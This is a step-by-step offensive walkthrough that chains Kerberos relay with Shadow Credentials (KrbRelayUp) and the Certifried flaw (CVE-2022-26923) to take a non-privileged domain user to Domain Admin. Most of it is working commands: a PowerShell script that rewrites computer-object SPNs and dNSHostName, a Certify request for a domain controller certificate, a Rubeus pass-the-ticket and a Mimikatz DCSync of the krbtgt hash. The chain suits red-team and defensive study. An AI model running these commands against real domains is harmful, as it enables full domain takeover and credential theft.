Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.
The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.
Prerequisites:
- no LDAP signature enforcement on DCs (for the local privesc, making KrbRelay to LDAP work)
- Active Directory Certificate Services (ADCS) running and configured (default is ok)
- unpatched DC (for the Certifried attack)
- For the sake of simplicity: use the awesome all-in-one tool KrbRelayUp for privilege escalation to local system on the domain-joined box where the attacker has non-privileged command execution capability:
KrbRelayUp.exe full -m shadowcred -f
This gives an elevated command prompt immediately (as NT Authority\System
).
- Perform the computer object attributes abuse (remove SPNs and modify dNSHostName to a DC) in the elevated prompt. Using PowerShell ADSI Adapter for this task does not require any special dependencies:
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]'')
$searcher.filter = '(&(objectClass=computer)(sAMAccountName={0}$))' -f $Env:ComputerName
$obj = [ADSI]$searcher.FindAll().Path
$spn = @()
$obj.servicePrincipalName | % { $spn += $_ }
$dns = $obj.dNSHostName.ToString()
$spn | % { $obj.servicePrincipalName.Remove($_) }
$obj.dNSHostName = "dc1.ecorp.local"
$obj.SetInfo()
Original state of the attributes are saved (in the $spn
and $dns
variables) for later restore.
- Request machine certificate for this abused computer using Certify (should get a cert for the DC!):
.\Certify.exe request /ca:dc1.ecorp.local\ecorp-dc1-ca /machine
- Restore computer attributes (still in the same PS session, previous variables should be available):
$obj.dNSHostName = $dns
$spn | % { $obj.servicePrincipalName.Add($_) }
$obj.SetInfo()
- Copy the private key with the certificate issued at step 3 as
cert.pem
to a (Linux) box running openssl and convert it to pfx (no need to set a password):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Note that this step may require a Linux box but it is not interacting with the targets, so it not breaks the full Windows path.
Convert the cert.pfx
file to base64:
cat cert.pfx | base64 -w0
- Ask a Kerberos TGT using Rubeus with the certificate and PKINIT and inject it into the current session. This may be performed from original non-elevated shell:
.\Rubeus.exe asktgt /user:DC1$ /certificate:<base64 pfx> /ptt
Check the DC1$
(domain controller machine account) ticket in the session with klist:
klist
- DCSync with Mimikatz and get any hash.
I prefer
krbtgt
(for golden tickets). :)
.\mimikatz.exe "lsadump::dcsync /domain:ecorp.local /user:krbtgt" exit